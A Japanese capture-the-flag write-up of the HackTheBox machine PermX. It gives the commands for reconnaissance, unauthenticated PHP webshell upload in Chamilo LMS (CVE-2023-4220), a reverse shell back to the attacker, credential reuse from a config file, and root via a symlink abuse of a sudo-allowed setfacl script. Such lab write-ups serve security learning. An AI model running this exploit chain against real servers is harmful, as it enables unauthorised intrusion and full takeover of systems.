【HackTheBox】PermX ：Writeup

# 概要

HackTheBox「PermX 」のWriteupです。

https://app.hackthebox.com/competitive/5/overview

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.23 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|Apache httpd 2.4.52|

`80`番ポートでアクセスするとホスト名が`permx.htb`だと分かったので`/etc/hosts`ファイルに追記します。

```
$ cat /etc/hosts
10.10.11.23     permx.htb
```

Webサイトにアクセスできました。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/119f6d98-13eb-4489-b48d-6cac9909217e.png)

ディレクトリの列挙を行います。

```
$ dirsearch -u http://permx.htb/
[11:25:35] 301 -  303B  - /js  ->  http://permx.htb/js/
[11:25:58] 200 -    3KB - /404.html
[11:26:02] 200 -    4KB - /about.html
[11:26:39] 200 -    3KB - /contact.html
[11:26:41] 301 -  304B  - /css  ->  http://permx.htb/css/
[11:26:59] 301 -  304B  - /img  ->  http://permx.htb/img/
[11:27:03] 200 -  448B  - /js/
[11:27:05] 200 -  491B  - /lib/
[11:27:05] 301 -  304B  - /lib  ->  http://permx.htb/lib/
[11:27:06] 200 -  649B  - /LICENSE.txt
```

`/lib`にはこのWebサイトで使用されているJavaScriptのライブラリファイルがあります。

![lib dir.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/366d39a2-1715-8edc-573d-030bd66af815.png)

`/LICENSE.txt`やフッターの情報から`HTML Codex`が使用されていると分かります。

https://htmlcodex.com/

サブドメインの列挙を行います。

```
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb/ -fc 302 -o PermX/ffuf_subdomain_list
www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 272ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 315ms]
```

`/etc/hosts`ファイルにサブドメインを追記します。

```
$ cat /etc/hosts
10.10.11.23     permx.htb www.permx.htb lms.permx.htb
```

`www.permx.htb`は`permx.htb`と同様のページが表示されました。
一応ディレクトリの列挙を行いましたが、`permx.htb`と同様の結果が出ました。

```
$ dirsearch -u http://www.permx.htb/
[20:36:11] 301 -  311B  - /js  ->  http://www.permx.htb/js/ 
[20:36:39] 200 -    3KB - /404.html
[20:36:44] 200 -    4KB - /about.html
[20:37:43] 200 -    3KB - /contact.html
[20:37:46] 301 -  312B  - /css  ->  http://www.permx.htb/css/
[20:38:10] 301 -  312B  - /img  ->  http://www.permx.htb/img/
[20:38:17] 200 -  451B  - /js/
[20:38:19] 301 -  312B  - /lib  ->  http://www.permx.htb/lib/
[20:38:19] 200 -  494B  - /lib/
[20:38:20] 200 -  649B  - /LICENSE.txt
```

`/lms.permx.htb`へアクセスするとポータルのログイン画面が表示されました。

![lms login form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e7a684e5-4ae8-fa7e-e159-267fb7d5653e.png)

学習管理システムの`Chamilo lms`を使用していることや、フッターから管理者の`Davis Miller`が分かりました。

https://github.com/chamilo/chamilo-lms/tree/master

https://chamilo.org/en/

`lms.permx.htb`のディレクトリの列挙を行います。

```
$ dirsearch -u http://lms.permx.htb/
[20:40:18] 200 -   46B  - /.bowerrc
[20:40:19] 200 -    2KB - /.codeclimate.yml
[20:40:36] 200 -    3KB - /.scrutinizer.yml
[20:40:40] 200 -    4KB - /.travis.yml
[20:41:28] 301 -  312B  - /app  ->  http://lms.permx.htb/app/
[20:41:29] 200 -  719B  - /app/
[20:41:29] 200 -  642B  - /app/cache/
[20:41:29] 200 -  407B  - /app/logs/
[20:41:30] 200 -  101KB - /app/bootstrap.php.cache
[20:41:37] 200 -  455B  - /bin/
[20:41:37] 301 -  312B  - /bin  ->  http://lms.permx.htb/bin/
[20:41:39] 200 -    1KB - /bower.json
[20:41:47] 200 -    7KB - /composer.json
[20:41:51] 200 -    5KB - /CONTRIBUTING.md
[20:41:52] 200 -  587KB - /composer.lock
[20:42:00] 301 -  322B  - /documentation  ->  http://lms.permx.htb/documentation/
[20:42:00] 200 -    1KB - /documentation/
[20:42:07] 200 -    2KB - /favicon.ico
[20:42:19] 200 -    4KB - /index.php
[20:42:20] 200 -    4KB - /index.php/login/
[20:42:27] 200 -  842B  - /license.txt
[20:42:27] 200 -   34KB - /LICENSE
[20:42:32] 301 -  313B  - /main  ->  http://lms.permx.htb/main/
[20:42:32] 200 -   97B  - /main/
[20:43:02] 200 -    8KB - /README.md
[20:43:05] 200 -  403B  - /robots.txt
[20:43:17] 200 -  444B  - /src/
[20:43:17] 301 -  312B  - /src  ->  http://lms.permx.htb/src/
[20:43:31] 302 -    0B  - /user.php  ->  whoisonline.php
[20:43:33] 200 -    1KB - /vendor/
[20:43:34] 200 -    0B  - /vendor/autoload.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_psr4.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_files.php
[20:43:34] 200 -    0B  - /vendor/composer/ClassLoader.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_static.php
[20:43:34] 200 -    1KB - /vendor/composer/LICENSE
[20:43:34] 200 -    0B  - /vendor/composer/autoload_real.php
[20:43:35] 200 -    0B  - /vendor/composer/autoload_classmap.php
[20:43:38] 200 -  531KB - /vendor/composer/installed.json
[20:43:38] 200 -    6KB - /web.config
[20:43:39] 200 -  479B  - /web/
```

`/README.md`を見ると`Chamilo 1.11.x`を使用していると分かりました。

```README.md
# Chamilo 1.11.x

![PHP Composer](https://github.com/chamilo/chamilo-lms/workflows/PHP%20Composer/badge.svg?branch=1.11.x)
[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/badges/quality-score.png?b=1.11.x)](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/?branch=1.11.x)
```

`searchsploit`で脆弱性を検索するといくつかヒットしました。

```
$ searchsploit chamilo 1.11
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Chamilo LMS 1.11.14 - Account Takeover                                             | php/webapps/50694.txt
Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)                        | php/webapps/49867.py
Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting                              | php/webapps/45536.txt
Chamilo LMS 1.11.8 - Cross-Site Scripting                                          | php/webapps/45535.txt
----------------------------------------------------------------------------------- ---------------------------------
```

Metasploitで検索すると一件ヒットしたので攻撃を試みます。

```
msf6 > search chamilo 1.11

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  exploit/linux/http/chamilo_unauth_rce_cve_2023_34960  2023-06-01       excellent  Yes    Chamilo unauthenticated command injection in PowerPoint upload
```

この攻撃は失敗しました。

```
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit

[*] Started reverse TCP handler on 10.10.14.158:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.11.23:80 can be exploited.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. No valid response received from the target. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
```

より詳細なバージョン情報を得る必要があります。
`/documentation/changelog.html`を見ると、最終更新が`1.11.24`だと分かりました。

![chamilo change log.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a9cfad13-230e-28db-43f3-144e4325c791.png)

`1.11.24`で脆弱性を検索すると`CVE-2023-4220`がヒットしました。

https://nvd.nist.gov/vuln/detail/CVE-2023-4220

下記のレポジトリを参考に実際に悪用できるか確認します。

https://github.com/dollarboysushil/Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

アップロードするPHPファイルを作成します。

```
$ echo '<?php system("whoami"); ?>' > dollarboysushil.php
```

作成したPHPファイルをアップロードします。

```
$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
```

`/main/inc/lib/javascript/bigupload/files/dollarboysushil.php`へアクセスするとRCEが成功したと分かりました。

![rce success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/799f0392-549c-a8d0-05b8-88b1836fefd6.png)

Kaliに入っているPHPのリバースシェルファイル、`/usr/share/webshells/php/php-reverse-shell.php`をIPなど自身のものに編集してアップロードします。

```
$ curl -F 'bigUploadFile=@php-reverse-shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'  
The file has successfully been uploaded.
```

Netcatで待ち受けをし、`/main/inc/lib/javascript/bigupload/files/dollarboysushil.php`へアクセスすると`www-data`のシェルを取得できました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.11.23] 56148
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 12:44:04 up  1:05,  4 users,  load average: 1.39, 0.94, 1.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

ターゲットマシンに`mtz`ユーザーが存在すること、`/home/mtz`へはアクセス権がないと分かりました。

```
ls -l /home
total 4
drwxr-x--- 8 mtz mtz 4096 Jul  9 12:47 mtz
```

`chamilo`アプリ内で認証情報を探します。
最初に、`/var/www/chamilo/.travis.yml`を発見しました。
MySQLの存在やDB名、ユーザー名などを確認できました。

```/var/www/chamilo/.travis.yml

(省略)

# Install chamilo
- php -d date.timezone="Europe/Paris" $TRAVIS_BUILD_DIR/chash/chash.php chash:chamilo_install $CHAMILO_VERSION $TRAVIS_BUILD_DIR --no-interaction --sitename="Chamilo" --site_url="http://$VHOST_URL/" --institution="Chamilo" --institution_url="https://chamilo.org" --encrypt_method="sha1" --firstname="John" --lastname="Doe" --language="english" --driver="pdo_mysql" --host="localhost" --port="3306" --dbname="chamilo" --dbuser="root" --permissions_for_new_directories="0777" --permissions_for_new_files="0666" --linux-user="www-data" --linux-group="www-data" --username="admin" --password="admin" --email="admin@example.com" --phone="555-5555"
```

次に、`/var/www/chamilo/app/config/configuration.php`にMySQLの認証情報を発見しました。

```/var/www/chamilo/app/config/configuration.php

(省略)

// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
```

パスワードがハッシュ化されているのでアルゴリズムを調べると、`Cisco-PIX(MD5)`の可能性が高いと分かりました。

```
$ hashid "03F6lY3uXAP2bkW8"
Analyzing '03F6lY3uXAP2bkW8'
[+] Cisco-PIX(MD5) 
[+] Cisco-ASA(MD5)
```

しかしハッシュ値の解読には至りませんでした。
この情報を使用してDB情報の閲覧を試みました。
DBを参照するPHPコードを脆弱性を利用してアップロードし、実行させます。
`chamilo`データベースの`user`テーブルからWebアプリケーションのアカウント情報を取得できました。

![sql user table.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/51af1641-2181-24da-8e4c-a28119efc368.png)

![password salt.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6edf8ca8-2685-9145-b193-0d08e9601c23.png)

パスワードとソルトを得られたのでハッシュ値の解読を試みましたが、これも失敗に終わりました。
視点を変え、得られたパスワード`03F6lY3uXAP2bkW8`を使用して、`mtz`アカウントへSSH接続を試みると成功しました。

```
$ ssh mtz@permx.htb
mtz@permx:~$
```

`/home/mtz/user.txt`からユーザーフラグを入手できます。

```/home/mtz/user.txt
792770bf9e4a91c44f674543242a867e
```

# Root Flag

`sudo -l`を実行すると`/opt/acl.sh`が実行可能だと分かりました。
このスクリプトを悪用して権限昇格が出来そうです。

```
$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
```

`/opt/acl.sh`は編集権限がないと分かりました。

```
$ ls -l /opt/acl.sh 
-rwxr-xr-x 1 root root 419 Jun  5 11:58 /opt/acl.sh
```

`/opt/acl.sh`の内容を確認すると`/usr/bin/setfacl`を利用してアクセス権の制御を行っていると分かります。
条件として対象のファイルが`/home/mtz`配下であること、`..`などを利用して親ファイルを参照していないことが分かりました。

```
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
```

このことから、対象のファイルは`/home/mtz`配下に作成する必要があります。
`/etc/sudoers`へのシンボリックリンクを`/home/mtz`配下に作成します。

```
$ ln -s /etc/sudoers sudo
```

そして作成したリンボリックリンク`/home/mtz/sudo`を対象に`/opt/acl.sh`を実行します。

```
$ sudo /opt/acl.sh mtz wrx /home/mtz/sudo
```

すると`/etc/sudoers`に権限を付与することに成功しました。

```$ ls -l /etc/sudoers
-r--rwx---+ 1 root root 1711 Jul 10 07:18 /etc/sudoers
```

`/etc/sudoers`を編集し、全てのコマンドをパスワードなしでrootで実行できるようにします。

```
(省略)

mtz ALL=(ALL:ALL) NOPASSWD: ALL
```

これでrootアカウントへ昇格できました。

```
$ sudo su
root@permx:/home/mtz#
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
78b285886904558cf8f91fd7173e33b8
```